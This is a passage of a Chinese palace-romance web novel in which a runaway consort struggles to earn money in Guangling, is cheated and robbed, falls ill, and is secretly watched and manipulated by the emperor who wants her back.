如果有足够银子的话。
等着宝珠也吃完了,两人才往首饰铺去。
原本约定三日一结算,今日就是日子了。
只是去了一看,却见那首饰大门紧闭,上头还落了一把大锁。
席容烟一愣,这两天她都叫宝珠来看看生意如何,明明昨日看起来生意还不错,怎么今天忽然会关门了。
况且图纸也给了,还一分银子没拿到。
席容烟忙走去旁边的铺子打听,那门口的小二懒洋洋道:“昨儿下午就匆匆关门了。”
“说是家里的老娘生了大病,要回去照顾。”
席容烟听了这话一顿,竟然就这么巧么。
她又打听:“那什么时候会回来?”
那小二笑了笑:“这我就不知道了。”
本还稍微放松的心就又提起来了。
席容烟袖子里还有这两天新画的图纸,便又往对面的首饰铺去。
那首饰铺的名叫金石斋,一进去便有人热情的迎接过来。
只是当席容烟说要见掌柜时,那人就一脸不耐烦的摆手:“走走走,我家掌柜忙着呢,哪有空见你。”
那小二说着,还叫了人过来,要推着她出去,根本不给她说话的机会。
席容烟不想被人碰,又看那小二态度前后差异,知道自己是见不到了。
回了客栈,宝珠看席容烟坐在椅上出神,心里就心酸,就对着席容烟小声道:“主子,我做绣活挣钱。”
席容烟抬头看向宝珠:“绣活伤眼睛。”
宝珠笑道:“也没什么,我白日里做就是。”
“等存够了银子,我们在找个地方买个院子。”
席容烟默默看着宝珠带着笑意的眼睛,宝珠自小陪伴她,其实这一路有她陪在身边她很安心。
要是她身边没有她在,她自己都不知道自己能不能坚持这么久。
她喉间微微发紧,又低声道:“我也陪你做。”
宝珠愣了下。
虽说席容烟绣活不差,但平日里是极少做的,席府里从前养了好几个绣娘,也用不着席容烟做什么绣活。
她忙道:"不用主子,我一个人就行。"
又难受道:“要不是我弄丢了钱袋,主子现在也不会这么艰难,全都怪我,主子便放心交给我就是。”
席容烟心底里是从来没有怪过宝珠的,她现在也想不出其他挣钱的法子,只让宝珠别多想,先走一步看一步再说。
绣活还是极好找的,在下午时宝珠就找到了。
还可以带回来自己绣,绣好了再送过去就行。
席容烟看着宝珠从绣坊里带回来的东西问:“绣的什么?”
宝珠笑着坐在席容烟的面前:“就是简单的并蒂莲。”
“听说广陵县令要嫁女儿,赶做些嫁妆。”
席容烟帮着宝珠去整理针线,又问:“这一件多少银子?”
宝珠顿了一下,才道:“三十五文。”
席容烟默然看着宝珠手上的绣布。
这一块绣布,即便是绣的快的,也要用两天才能绣的好,还要针脚细不出错,是费心血的。
却仅仅三十五文钱。
宝珠看席容烟落下的黛眉,又道:“主子别担心,我去打听了,都是这么个价。”
“这是县老爷家定的,工钱还多些,换成别家还要少。”
说着她又道:“奴婢算了算,两日一张的话,一月里也能挣半吊钱了。”
席容烟不语,撑着额头,缓缓有些疲惫的闭上眼睛。
夜里,烛灯如豆,席容烟看着宝珠仍旧在刺绣的侧影,让她先睡。
宝珠想着早点绣完拿银子,嘴上应着,手上的动作却没有停。
席容烟披着衣裳起来,让宝珠去睡,她来做。
她看着宝珠:“你累坏了,谁来照顾我?我们两人换着来,事半功倍,如何不好?”
宝珠怔了一下。
她此刻看着席容烟披着素衣坐在竹凳上,眼里闪烁烛火,冷冷清清,素发温润,不着任何首饰,叫她仿佛看到了一个和从前有些不一样的姑娘。
她下意识的就听话的点头,在那双安静的眸子下起身。
她往竹榻上走了两步,又回头看去,就见着席容烟坐在灯下低头,影子纤细。
从前不管是在席府还是在皇宫内,席容烟都是被众多人包围着伺候着,宝珠没想到在这样的境遇下,自己反而没有主子有主见和淡定。
此时已经是深夜,同样没睡的还有魏祁。
他看着手上的信,又缓缓的吐出一口气。
指尖打在扶手上,他当真想她了,也不忍心再看她受苦。
那客栈的床板她定然是睡不惯的,那茶水也是粗劣茶水,还有那些粗糙的吃食,她定然是吃不下的。
她那样喜欢精细文雅的人,闷在那件小小的屋子里,他其实并不忍心。
她该吃的苦已经吃了,总该要明白要回来了。
魏祁站起身,在夜色的一缕晚风中,又叫高义进来。
席容烟刺绣做了一夜,也还剩了小半没有做完。
宝珠忙让席容烟去睡,剩下的她来便是。
席容烟昏昏沉沉的,走路都脚步虚浮,起身才碰到床榻上,便闭眼睡了。
她浑浑噩噩的不知道睡了多久,醒来看到周遭乌沉沉的一片,唯一能从窗外看见一些灯光进来。
窗外还有滂沱的大雨,接着闪电,电闪雷鸣。
席容烟最害怕雷鸣,却又担心宝珠,推开窗往外看,街道上已无几个人在走。
很多雨水已经从窗外飘了进来,将她身上的衣裳微微打湿。
席容烟忙将窗户合上又换身衣裳想下去找宝珠。
只是她才刚拿起伞,门就被人从外头推开了。
第163章 又被骗
站在门外的是宝珠。
只见宝珠一身湿漉漉的回来,发上衣上全湿了。
她见着席容烟担心的眼神笑道:“姑娘别担心,我没事了。”
说着又去将身上的衣裳换下来,又走到席容烟的面前摊开手掌:“姑娘瞧瞧,这是我刚才换来的银子。”
席容烟低头看着宝珠手掌心那一小串银钱,默然握紧了她的手。
铜钱压在掌心,磕的微微的疼。
宝珠的发丝还在滴水,席容烟让宝珠先去沐浴。
宝珠沐浴完后,就又见着席容烟坐在桌边画画。
她走过去问:“姑娘不是说卖不了多少钱么?”
席容烟头也不抬的低声道:“卖不了多少也总好过没有。”
“我们住在这儿每日都是一百文,我总要想法子多挣些银子。”
说着席容烟抬头看向宝珠:“等银子齐了,就去租个院子。”
宝珠看着席容烟抬起来的脸庞愣了愣,又点头:“好。”
席容烟画到了半夜,最后抵不住睡意趴在桌上睡着了。
早上她换上男子衣裳下楼时,惯常和宝珠一样要了一碗粥。
她低头吃粥时,耳边就会听一些京城传来的消息。
这已经成了她的习惯。
寻常几乎没有人议论京城的事情,能传到这里的,除非是大事。
今日依旧没有听到什么有关京城的事,那就是最好的消息。
用完了早饭,席容烟回去继续画画,宝珠就在旁边做针线。
这样过了七八日,席容烟又画完了一张,就与宝珠一起出去画铺。
这回席容烟画的是更出名的《万壑图》,想着应该能卖一个比上回要好些的价钱。
只是那掌柜的一看了席容烟的画,便叹息的摇头道:“小兄弟,你的画虽画的好,但太匠气,小店不收了。”
席容烟一愣,极少有人说她画的匠气。
她虽是默画,但笔法用皴都是按照原画来的,何来的匠气。
席容烟压低声音力争:“掌柜的应该见过原画,在下不敢保证一模一样,但真假难辨,用作收藏绝对是没问题的。”
掌柜的依旧摇头道:“将画放在我这儿卖的画师多了去了,临摹大家的画师也多了去了,你一个名名无籍小画师,怎么卖得过人家?”
“再说了,这副画的真迹就没几人见过,难道你还见过真迹?你还能以假乱真?”
那真迹席容烟七岁就研究了,现在却被质疑。
她深吸一口气,又道:“那能不能烦请将在下的画寄卖在此处?”
那掌柜的便朝着席容烟摊开了手掌:“可以,不过得先押五十文钱。”
“卖出去后,我还要得一成的银子。”
席容烟左右犹豫,她对自己的画一向自信,相信放在这儿定能有人买去,咬咬牙也叫宝珠给了这掌柜的五十文。
若是从前,五十文钱在席容烟眼里不过沙砾,但此刻看着宝珠将银钱给出去的时候,她心里只觉得心疼。
能抵半天的客房了。
席容烟拜托那掌柜的将自己的画放在显眼处,那掌柜笑着应下来,在席容烟眼皮底下摆在了最前面。
席容烟瞧了瞧那位置,心下也放心了,又说只要高于五两银子就卖,这才转身离去。
只是在她转身后不久,那幅画就被掌柜的拿在了手里。
他看着那画面上的皴法,叹息道:“好画,好画啊……”
“可惜了……”
说着他将画卷起来,接着就扔到了不起眼的角落里了。
席容烟还不知道掌柜的这么干,毕竟她觉得自己卖出去了,掌柜的也能得银子,不至于干这种损人不利己的事情。
只是等她第二日去看的时候,却找了半晌也没看到自己的画。
席容烟还以为画卖出去了,去问那掌柜,那掌柜的见坐在椅子上,见着席容烟问他,神态散漫的道:“小兄弟,的确卖出去了。”
说着他在袖子里掏了掏,掏出了二十文钱递过去:“这便是卖了的银子了。”
席容烟瞪大眼睛,又稳住情绪问:“我不是说低于五两银子不卖么?怎么只卖了二十文?”
这么算下来,她不算上纸墨,都还倒贴了三十文。
那掌柜的皱眉看着席容烟:“卖画哪能说卖多少就卖多少?人家愿意出价就已经不错了。”
“我还没收你那两文钱的回扣呢。”
席容烟气得脸涨红,她几日日夜的心血,竟然二十文就草草打发她,这明显是敲诈。
她又环顾见到有巡街的,忙让宝珠去将巡街的叫过来评理。
只是那巡街的过来,与那掌柜的竟然十分熟稔,闲聊了起来。
画铺掌柜的叹口气看着席容烟:“小兄弟,这里的行情都是这样,你不管去哪家画铺都是这样卖的。”
“你要是不信,你下回去别家卖就是。”
那巡街使凶神恶煞的看着席容烟:“你要是在街上闹事,当心我抓你进牢狱里去。”
席容烟愣愣看着这幕,往后退了一步。
那画铺掌柜叹息的面容,和那巡街使带着煞气的脸在她眼前变换扭曲,让她觉得她眼前看到的一切竟都变得有些不真实。
那巡街使还沉脸走到了席容烟的面前,看着面前矮小弱不禁风的书生模样的人,棕黑的脸,大夏日领口高到快把脖子包裹完,细看那五官生的精致,但也再看不出其他什么来,也不知道他到底得罪了什么人。
他又摆手淡淡道:“走吧,别给我们找麻烦。”
宝珠站在旁边看的也直发愣,这么明目张胆的包庇,就没有王法了么。
宝珠气不过要上前,席容烟紧紧捏着她的手,她环顾四周,周遭的人熙熙攘攘的从她身边经过,她却忽然有股不真实感。
她看了一眼那巡街使,又看向画铺掌柜:“既说出价多少都卖么?”
掌柜的不知席容烟要做什么,点了点头。
席容烟便指着面前的一幅画抬头看向掌柜:“十文钱,我要买这副画。”
掌柜的一愣,对上那瘦弱少年的眼睛,黑眸里黑亮有神,绷着脸,竟看的他心底稍微跳了一下。
席容烟看掌柜的不说话,自顾自的掏钱:“掌柜的别大庭广众说话不算话,上回我抵押了五十文,我这回再给你五十文,我拿十幅。”
“你若不答应,我便叫人都来瞧瞧,你是如何做生意的。”
说着席容烟扔下银子,弯腰挑了十幅画就卷起来要带走。
掌柜的愣愣看着这场面,手足无措,他本来就是理亏,故意针对那一个人的,可现在还不能反悔,不然就被那人看出端倪。
那官爷吩咐了,不能让人发现不对,也不能伤人。
那现在就得吃这个哑巴亏。
第164章 银子又被抢了
直到看着那两道抱着画离开的背影,他才急急忙忙的回头往一处暗处去,小心翼翼的问:“官爷,小的那些画……”
暗处里的人影不说话,只往那掌柜的手上放了几定银子便走。
掌柜的这才笑吟吟的心满意足。
这头宝珠抱着满手的画问:“公子,我们去哪儿?”
席容烟手上也抱着画,抿了抿唇道:“卖画!”
宝珠一愣:“去哪儿卖?"
席容烟就低声道:"去东街,最热闹的地方。"
宝珠看了看日头:“可是现在太阳大,主子能受的住吗?”
席容烟自然受不住,所以她找了个大树底下。
只是大树底下早就坐满了人,只好又换了个稍冷清的地方,把所有画都摆在了地上。
这些画她花了一百文钱买来的,怎么着也得回本。
她心里还隐隐后悔,自己那会儿气得太过,没怎么想就扔了银子,她就该五文钱买一张。
席容烟全是挑的好画,贱卖又有些不忍心,便让宝珠喊:“半吊钱一幅。”
宝珠嗓门喊起来声音不小,倒是吸引了许多人。
只是半吊钱寻常人是不会买的,但只要有人买了一张,那便回本了。
况且这些画只要有懂画的人来看,就知道哪里只值半吊钱?
她全都是挑的好的。
席容烟也没想碰见多少懂画的,好歹碰见一个就好。
没一会儿真有一位蓝衣的清秀公子过来买画,席容烟瞧他装扮,又看他举止雅致,一瞧就是读书人,便卖力介绍起来。
魏祁高高坐在酒楼上,坐在窗前,低头静静看着树下席容烟的身形。
他看着她时不时拿蒲扇扇风,身上褐色衣裳灰扑扑的,脚下的靴子沾满了尘泥,卖力的与人说话。
这是他从来没见到过的席容烟。
他从来不知道,她竟然会做到这步。
她是十指不沾阳春水,金娇玉贵的世家姑娘,是被她家里呵护长大的动人娇花。
他以为她承受不了风吹雨淋,承受不了日晒困苦。
即便她比自己想象中更坚韧机敏,但她不适合这里,永远都不适合。
魏祈垂眸,他发觉她瘦了些许,膝上的手指微紧又松开,换来低低一声轻叹。
她到底该闹够了。
下午天色快沉的时候,画就卖完了。
一共卖了五两银子。
够在这儿租一个小院了。
席容烟发觉了商机,可以自己画来叫卖。
那些画铺里的画少说也要三四两银子起,她画的快,要是一天五两,一月就是一百五十两。
利润极大。
这么一想,恨不得立马就去买纸来,浑身有了力气,至少有了方向。
这时候天色阴沉下来,眼看着又要下雨。
数完了银子,席容烟心里轻快了些,将银子包好正准备放在身上时,忽然一道风吹过来,还没反应过来,手上的钱袋就不见了。
席容烟愣了一瞬,赶紧拉上宝珠快去追。
只是那人跑得太快,蒙着脸,两人跟着追了好几条巷子也没追到人,到最后连人影都没有看到。
偏偏两人跟着跑到了荒凉处,全不认识的地方,宝珠因为跑得太急,摔在地上,膝盖处一片血红,再不能跑了。
这时候头顶的黑云滚来,一声巨大的雷声后,便淅淅下起了大雨。
雨点砸在后背上,隐隐作疼。
周遭的一切都成了麻乌色,黑的太快,连路都有些看不清。
席容烟脸上的碳灰被冲刷干净,脸庞苍白,扶着宝珠起来,咬牙强忍住了溢出来的泪光。
现在不是她心里抱怨难受的时候,她得尽快找家医馆,或是能避雨的地方。
陌生的巷子里一个人也没有,往前看是黑漆漆一望无际的黑暗,两边的小巷幽深,像是沉默的巨口。
她站在岔路前,冰凉雨珠打在脸上,身边的宝珠已哭了出来:"主子别管我,主子先走吧。"
被雨水冲刷过后的哽咽声很细,细的席容烟几乎听不见。
她握紧宝珠的手,不说一句话的往前走。
不管前路是如何,席容烟都不会为自己的选择后悔。
身后忽然传来脚步声,席容烟转身看去,是一名女子提着裙摆往前走。
那女子身边还跟着一名十岁左右的少年,少年怀里抱着灯笼,紧紧依偎在那女子身边。
巷子狭窄,席容烟看那两人步履匆匆,站到了一边本想让路,哪想当那女子路过她身边时,竟忽然朝她喊了一声:“四姑娘。”
席容烟已有许久没有听到过旁人唤她四姑娘了。
她惊愕的抬眸看向眼前的女子,明明灭灭,她还没认得出来,就听宝珠惊喜的喊:“春云!”
春云从前是席府买来的丫头,来的时候不过十三岁,被分到了席容烟的院子,那时候春云格外勤快,没两年就在屋内负责打扫伺候。
后头春云二十岁时,与府上的家丁好上,两人那时候跪在席容烟面前求着成全,说想要离开席府,不想孩子出生也是奴籍。
席容烟那时候才十三,听罢就让母亲去找两人的卖身契,还给了他们一人二十两银子。
席容烟也没想到,竟在她最落魄的时候,见到了曾经的故人,她有些唏嘘。
春云刚才本来还不确定面前这一身湿漉漉狼狈模样的人是从前金娇玉贵,在锦绣中娇养长大的四姑娘。
她记忆力里的四姑娘端方又和善,生了一张天仙脸庞,万千富贵堆中也捧不出那一份雅致来。
如今见着席容烟成了这模样,她也红了眼眶,忙将伞往席容烟那边斜过去,又道:“我刚从绣坊回来,我的屋子就在前头,四姑娘要是不嫌弃,就去我那儿避避雨吧。”
席容烟看那一把伞全盖在自己身上,连旁边的孩子都遮不住了,忙道:“我不要紧的,淋淋雨也没什么。”
“就是宝珠的腿伤了,恐怕不太好走路。”
春云这才急忙看向宝珠的腿,血迹已经渗透出了布料里。
她连忙去帮着席容烟将宝珠扶着,又道:“我家里的屋子不远的,四姑娘打着伞,我扶着宝珠在前面带路。”
又看向席容烟:“四姑娘别与奴婢客气,奴婢能再见到四姑娘,已经是奴婢的福气了。”
第165章 一分银子都没有了
席容烟看着那把送到自己手上的纸伞,心生出许多感概来。
她弯腰将伞放到身边的少年手上,让他撑伞给宝珠和春云打伞,她暴露在雨幕中,让春云什么都别说,先回去。
这时候的大雨有越来越大的态势,春云看着雨大,知道再也耽误不得,只得带着宝珠先往前走。
席容烟跟在后面,靴子里早已泡满了水,走起路来咕噜的响,小巷中的污水全染到她衣摆上,衣裳发重,她想,如果她连现在的境遇都能挺过去,还有什么不能挺过去的。
春云的住处的确不远,极小的一个一进院子,正屋只有两间房。
小小的院子角落处摆满了杂物,刚才进来的小少年进了一间和柴房挨着的厢房,屋外杂物凌乱,可以看见这些年春云的日子过得也并不是很好。
屋子内有昏暗的油灯光线,春云扶着宝珠进去坐下后又有些局促的看着席容烟:“四姑娘将就些,我这里一把好点的椅子都没有。”
席容烟浑身湿透,她如今有处避雨的地方就已经觉得极好了,又挑拣什么呢。
她笑:"无妨的,我也习惯了。"
又问:“有衣裳换么?”
春云连忙点头:“我这就去拿。”
去内屋换衣裳时,席容烟依旧觉得身上发汗发晕,她独自一人虚软无力的坐在凳子上,想着自己一路走来,本从来没有抱怨过什么,怎么却好像是事事都不顺。
她捂着眼睛,独自一人才当真觉得自己偏生这么倒霉,不平的心绪上来,委屈便一起来了。
外头又传来春云在外头的声音:“四姑娘,换好了么?”
“我熬了姜汤,四姑娘来暖暖身。”
席容烟应了一声,又用袖口擦了擦发红的眼眶,才走了出去。
她湿漉漉的发丝披散,春云来给席容烟擦头发,宝珠将姜汤放到席容烟手上,小声道:“主子,我不看郎中了。”
“这一点伤很快就好了。”
“不过是伤了一点皮肉,不要紧的。”
席容烟低头往宝珠的膝盖上去,刹那间如鲠在喉。
她们身上的银子全没了。
她听到滴滴的滴水声,寻声看去,屋顶好几处漏水,便用木盆接着。
她闭了闭眼,春云这里这般,她亦不好开口问她借银子。
如今她仿佛走到了绝路,让她越发头疼。
春云见席容烟没喝,不由紧张的问:“四姑娘喝不惯么?我记得四姑娘从前吃不得这些,以前姜汤里都要放糖块。”
又愧疚道:“我这里没有糖块,要委屈四姑娘了。”
席容烟叹息,她这个境遇说什么委屈不委屈的。
她只有心底深处的委屈,委屈的是桩桩件件的麻烦事如噩梦般缠着她。
她摇头:“你别多想,我现在模样你也瞧见了,哪里能挑三拣四?”
说着又苦笑一声:“你也别当我是从前的四姑娘,便当我是寻常人吧。”
春云一愣,又默然帮席容烟擦头发。
席容烟喝了姜汤,身上暖了不少,却依旧消减不小身上的难受。
春云看席容烟脸色苍白,要去喊郎中,席容烟拉住她:“我身上没银子了,我知道你也没多少银子的,也不想用你的银子。”
“我身子虽算不得很好,但自小也没生过几场风寒,兴许明日就好了。”
春云怔怔看着席容烟在昏暗中也依旧白净的发亮的脸庞,心底五味杂陈。
四姑娘的面容依旧未变,本该顺顺遂遂一辈子荣华,在众人艳羡中过完一生,却为何要过成这般。
她还是要求出去为席容烟叫了郎中,开了药。
那人吩咐过,要她好好照顾好四姑娘,她也是还从前那份恩情。
席容烟坐在简陋的木椅上,看着春云从几层布片中拿出那些碎银积蓄,只觉得热了热眼眶。
当初她给的那四十两银子不过随手的赏赐,她却用她全部的积蓄来为她请郎中。
她拦着春云:“你的银子你留着,我没那般娇气。”
春云笑道:“阿贵哥在外做力工,半月回来一趟,回来就有银子了,四姑娘放心。”
席容烟又问春云:“那小少年是谁?”
春云笑了笑:"那是我弟弟,当初四姑娘给我的银钱和我在席府的积蓄,都用来给他在城里念书。"
“我在绣坊做绣活,租了这个小院,他便来与我们住在一起。”
席容烟默默点头,再一次觉得原来日子真的可以这样苦。
她又问:“你有孩子么?”
春云笑:“有的,不过才半岁大,她睡得多,这会儿还在睡。”
“刚才我弟弟拿伞去接我,这会儿回来她也没闹。”
席容烟便点点头:“你的银子你留着,你还有孩子,我大抵睡一觉就好。”
春云依旧坚持:“四姑娘淋了那么多雨,怎么会没事,四姑娘也想着我,要是没有四姑娘当初给的银子,我弟弟现在还去不了学堂。”
“我一定要去,更不能眼睁睁看着四姑娘生病。”
春云说完就一转身走了。
宝珠扶着席容烟要去榻上躺着,席容烟往榻上一看,上头还睡着个婴孩,又摇头。
发硬的木椅没有软垫,硌的她后背发疼,身上隐隐发热,又闭着眼睛,只觉得呼出来的热气都是热的。
但此时此刻她脑中的思绪全都是没银子了。
一分银子都没有了。
第166章 对她万般的心思,换来一场空
席容烟的面容,即便在这间陋室中也异常的显然,郎中来的时候,宝珠为少些麻烦,就扶着席容烟去床榻上,把那床榻上的孩子往里头挪了挪。
接着又放下了帘子。
那郎中也不过寻常郎中,会看些简单的病症,稍微给席容烟把了脉,就说是风寒,开了一副药方。
当场就给了药包了,显然是按病类调配好的,与从前根据病症下药,差别太大。
只是现在这状况,宝珠也不能要求太多,况且春云本没多少银钱,主子也握着她的手没让她开口。
席容烟怕给床榻上的孩子过了病气,要起身去椅子上座,春云拦着席容烟:“四姑娘今夜就睡在这儿吧,我抱着孩子就是。”
说着就起身将孩子抱在了怀里
席容烟问:“那你睡哪儿?”
春云笑着道:“四姑娘别担心我,旁边还有间屋子呢。”
春云又道:“我先去熬药。”
席容烟让她先去,又坐起来看宝珠的腿伤。
刚才向郎中买了伤药,这会儿她打算帮宝珠上药。
宝珠连忙推辞:“主子你歇着就是,我自己来就好。”
说着这就远远走到了角落处坐着。
席容烟晕沉沉的吐出一口热气,觉得身上轻飘飘的,头疼的闭上眼睛也难受。
她也没有坚持,只在脑中想着希望客栈内剩下的纸张还够画两幅画,好歹能换些银子。
又想幸好给了客栈五日的银钱,不然明日一早,东西就要被扔出去了。
她迷迷糊糊想了许多,又没有想多少事情。
直到春云掀开帘子端来药碗,小声叫醒席容烟吃药。
席容烟这才睁开眼。
她端着药,知道自己不喝药身子好不了的话更是拖累,咬着牙喝了一口,硬生生没说苦。
春云看着席容烟,脸上满是难过:“我听说四姑娘入了宫,为什么现在会这样?”
席容烟摇头:"都过去了,那些没什么好说的。"
说着席容烟看向春云:“你千万别说见过我,我是为着你好。”
春云一愣,忙又点点头。
她又道:“我听说皇上就在离这儿不远的秋霞行宫围猎,才四五十里路,我不知道四姑娘身上出了什么事。”
“但我听说皇上以前很宠爱您,还说您出了什么事,皇上悲痛的三日没有上朝。”
“现在皇上就在不远的地方,四姑娘要不去找皇上吧。”
“刚好我们绣坊要送护膝过去,明日四姑娘就可以坐马车一起过去的。”
席容烟本昏昏沉沉的思绪听了春云的话忽然就一顿,她侧头看向春云:“你怎么知道皇上在秋霞行宫?”
“又怎么知道宫里的事情?”
皇上的行程虽说会提前与所过之处打招呼,但秋霞行宫不在广陵地界,离得虽说不远,还也有四五十里,春云仅是绣娘,如何知道皇上在秋霞行宫的。
况且她出事那事,京城都没几人知道,春云怎么知道的。
春云见席容烟看她,便忙道:“皇上在秋霞行宫的护腕坏了,便有人便找来了我们绣坊加紧做两副出来。”
“我们绣坊在广陵远近闻名,就连京城的显贵也来找我们那儿的绣娘,所以知道。”
“还有四姑娘的事,我也是不小心听了定做护腕的人小声说话听见了的。”
席容烟听罢这解释,按着心里的心思默默点头。
她又屏气喝了几口药,咳了几声,又低声问:“你这儿怎么听说皇上宠爱我的?”
春云笑道:“周围好多人说呢,皇上因为宸妃娘娘喜欢吃的甜瓜,千里加急连夜没日没夜的送,还要路过广陵,听说都跑死好几匹马了。”
席容烟没想这些事竟传到了广陵。
她看着碗中剩下的药汁,黑漆漆的药汁倒映出她失神的眼眸,她心里头的情绪无法说清。
她承认,魏祁对她极好。
在前世时,如果她顺从他,他的性情也会温和一些。
只是他们之间横着无辜死去的人。
她没有办法心安的待在魏祁身边,没有办法不去想她被魏祁害死的盛儿。
她曾做过母亲,对那个孩子极疼爱。
盛儿也很听话,不吵不闹。
她不知道魏祁怎么能下这样的手。
她特意死在他面前,他想抓住她,她偏要离开,算是她最无力的报复。
席容烟默然喝完剩下的药,将药碗放在一边,又看着春云摇头:“你刚才劝我的再别劝了,我永远都不会去找皇上。”
“春云,你别劝我。”
坐在另外一边帘子外的魏祁仰头靠在椅背上,高大的身躯坐在在并不结实的竹椅上,显得那张竹椅仿佛下一刻就会散架。
他喉结动了动,英挺的眉目染上一股旁人看不清的情绪。
杂乱漏水的屋子里只有他一个人,唯有放在膝盖上的手指微微动了动。
帘子内那道沙哑带着病意的声音仿佛一把尖刀又往他身上刺过来:“往后我与皇上任何瓜葛都没有,不管他在哪儿,都与我没关系。”
那声音就如前世的席容烟那样冷冰冰的无情,丝毫退让的余地都不留。
她自来是这样,她不喜欢,就不留余地。
即便她现在是这样的境地,她也不肯回头找他。
帘子内的春云听着席容烟的话一愣,怔怔看着面前苍白的病容,她一时竟忘了说什么话。
好似皇上是极想让四姑娘回去的,还特意安排她来劝,她想不明白,在宫里被帝王宠爱,过金尊玉贵的日子不好么。
那样的日子是她连做梦都不敢想的啊。
她看了看那空碗,又看了看自己这简陋的房屋,她知道自己能不能得到富贵,大抵就在席容烟的一句话里了。
人与人之间当真天壤之别。
她并不是没有良心,即便她身为旁观者,也知道四姑娘现在的日子过得不好,金娇玉贵的人受不得苦,在宫里被伺候着,比现在好了万倍。
她又干巴巴的劝:“四姑娘为什么要说这样的话,难道在宫里的日子,不比现在好?”
席容烟默默看着春云:“你不会懂的,再好的日子,心里过得不安心,就不会过得好。”
“至少我现在的日子,我过得稍能心安。”
春云又发愣。
她不明白在宫里的日子怎么就不能心安了,她咽了咽口水,真想要开口时,却看到席容烟忽然撑着床沿,身上穿着洁白的单衣,身子微微前倾,发丝都拢在肩头一侧,那双黑亮的眸子看着她,温和又有某种坚韧:“春云,你实话告诉我,是不是有人找你来劝我了?”
席容烟从春云刚才那些话里隐隐感觉到了一些不对。
为什么就这么巧。
魏祁刚好在秋霞行宫,又刚好找到了春云在的绣坊,自己又刚好碰到了春云。
春云见到她,没有过多问她如今为何这样,却句句劝着她去找魏祁。
席容烟不得不怀疑,自己如今遇见的桩桩件件,像是将她牢牢套在了广陵,让她不得翻身逃离。
春云听见席容烟的话也一愣,连忙摇头:“我只是看四姑娘如今成这样的境遇心里难受,更难受的是我却帮不了四姑娘。”
席容烟微凉的手指覆在春云手背上,压低声音:“春云,我想听实话。”
魏祁依旧闭着眼睛,指尖转动着手上扳指。
良久他缓缓吐出一口气,看向那结了蜘蛛网的房梁。
那只蜘蛛还在勤劳的织网,他轻轻扔了一个细小的石子,蛛网破裂,一切努力白白成了空。
对她万般的心思,对她千方百计,到头来换她一句没有任何瓜葛,又落一场空。
他扯起唇角,微微苦笑。
第167章 他以为她会回头
如瀑的雨声打在屋檐上,哗哗的响声掩盖住了一切声音。
小小的院子在这样的大雨里,仿佛远不能承受这样的冲刷。
春云看着席容烟的眸子,也微微抖了抖。
但她更明白,说出来得罪了外头的人,她的下场更惨。
她不停的摇头:“四姑娘,当真没有人让我来劝过你。”
“四姑娘怎么会说这样的话?”
说着春云红着眼眶落下泪来:“四姑娘从前的恩情我还记着的,也绝不会做忘恩负义的事情。”
席容烟半靠在床上,撑着额头,身上发冷,后背却在出着汗。
她看着春云的泪光已无力再说太多,只是低低道:“你别多想,我随口问的。”
春云又是一愣,她看着席容烟疲倦的闭着眼睛,即便这般病容,看起来憔悴了许多。
她在席容烟身边伺候了七年,心底是有感情的,也是真的觉得四姑娘应该回去。
只是在她心里四姑娘从来不是闹脾气的性子,四姑娘这样做,是不是有别的原因。
她不敢想下去,越想便越狠不下心去劝。
她又小声道:“四姑娘先睡一夜吧,兴许明日就好了。”
席容烟嗯了一声。
春云回头看见宝珠已经给腿上收拾好了,又去掀帘子的时候手指还颤了颤。
她犹豫一下,轻轻将帘子掀开,外屋就已经没人了。
她也没来由松了口气。
只是半夜时,雨声小了许多,春云听到外面传来动静,起身去窗前一看,便看见黑压压的黑衣配银刀的侍卫就站满了不大的院子。
她不敢发出声,抱着孩子,将自己蒙在了被中。
魏祁堂而皇之的进了简陋的正屋,又掀开帘子低头走近里屋。
他事先让人点了安神香进来,这会儿席容烟该熟睡了。
屋内唯一的油灯摇摇欲坠,照亮湿润潮湿的地面,屋内一角还在漏水,滴滴答答响在屋子里。
魏祁抿唇,走到床沿,静静看着床榻上熟睡的人,她下巴尖了些,皮肤也苍白了许多。
他沉默的坐在床沿上。
他摸了摸她身上的里衣,粗糙的料子微微发毛,他不知她是怎么忍受下来的。
那张盖在她身上的薄被,发凉发硬,她定然是不习惯的。
魏祁微微弯腰,指尖想触碰她,又微微顿在半空。
他以为她过了这样艰难的日子,她会妥协的,会回头的。
他从前就算有千万般对不住她,这一世对她却是真心真意,从来不曾强迫过。
但席容烟的确让他刮目相看,他以为她这样娇生惯养,自小没吃过苦的性子挺不过两三日的,却没想到她坚持了这么久,从来没有想要回头过。
可如今即便她过着这样的日子,她也不愿回到他身边。
难道受了这些苦也还不够么。
难道这些苦,比在呆在他身边更好么。
他本想让她心甘情愿回去的,他不想强迫她。
悬在席容烟脸庞上的指尖到底又落下去,抚在她脸庞上。
高义端着药进来,又点亮了屋子,再悄无声息的退下去。
魏祁拿着药勺一口一口的喂,他知道席容烟这身子,拖久了更不得好。
喂完药又给她喂了两粒补气千金丸,这才作罢。
塌上的人依旧软绵绵的再睡,魏祁看席容烟额上有细汗,又摸了摸她后背,湿润潮湿,他本想为她换了,又怕她发现了他来过。
他甚至怕她发现,换了香还换了衣,没留下味道。
不到最后一步,魏祁都不肯逼她,只想让她认清现实回去。
他便做什么都没有发生过一样。
他心底深处更不愿两人如前世那样争锋相对。
前世里席容烟恨他强迫,恨他不择手段,但若是他不用手段,两人之间的交集便几乎没有。
外头的雨声淋淋,天边渐渐泛白,魏祁才缓缓起身。
她身上的汗他已为她擦过,又给她换了药包。
魏祁离开的悄无声息,唯一能发觉魏祁离开的只有春云。
她战战兢兢站在院门口送人离开,才终于松了一口气。
席容烟醒来的时候,窗外一缕刺眼的光线正落在她眼睛上,刺的她微微眯眼。
宝珠就顿在席容烟的身边,见着席容烟醒来,连忙送了一碗浮元子来。
席容烟见着那浮元子,看向宝珠:“有银子买这个了?”
宝珠忙道:“春云给买的。”
春云抱着怀里的孩子进来,看向席容烟:“四姑娘风寒了,我这儿也没什么好的,便出去买了一碗,四姑娘将就下吧。”
这一碗浮元子五文钱,对从前的席容烟来说或许不值一提,但她现在却觉得五文钱也让她心疼。
当初带着两荷包金豆子走的时候,也从来没想过会为五文钱心疼。
席容烟看着碗里的浮元子,难免想起从前在席府的日子。
要是没有魏祁,她或许就安安稳稳的出嫁,再安安稳稳的过往后的日子了。
拿勺子咬了一口,席容烟忽然就想母亲了。
本来眼眶发热,又看宝珠和春云都看着她,她也生生忍下泪光来。
席容烟身上发软,夜里她出了许多汗,这会儿身上还不舒服,本来想问问能不能沐浴,没想到春云就先开了口:“热水已经放好了,四姑娘先去沐浴吧。”
席容烟松了口气,进去沐浴。
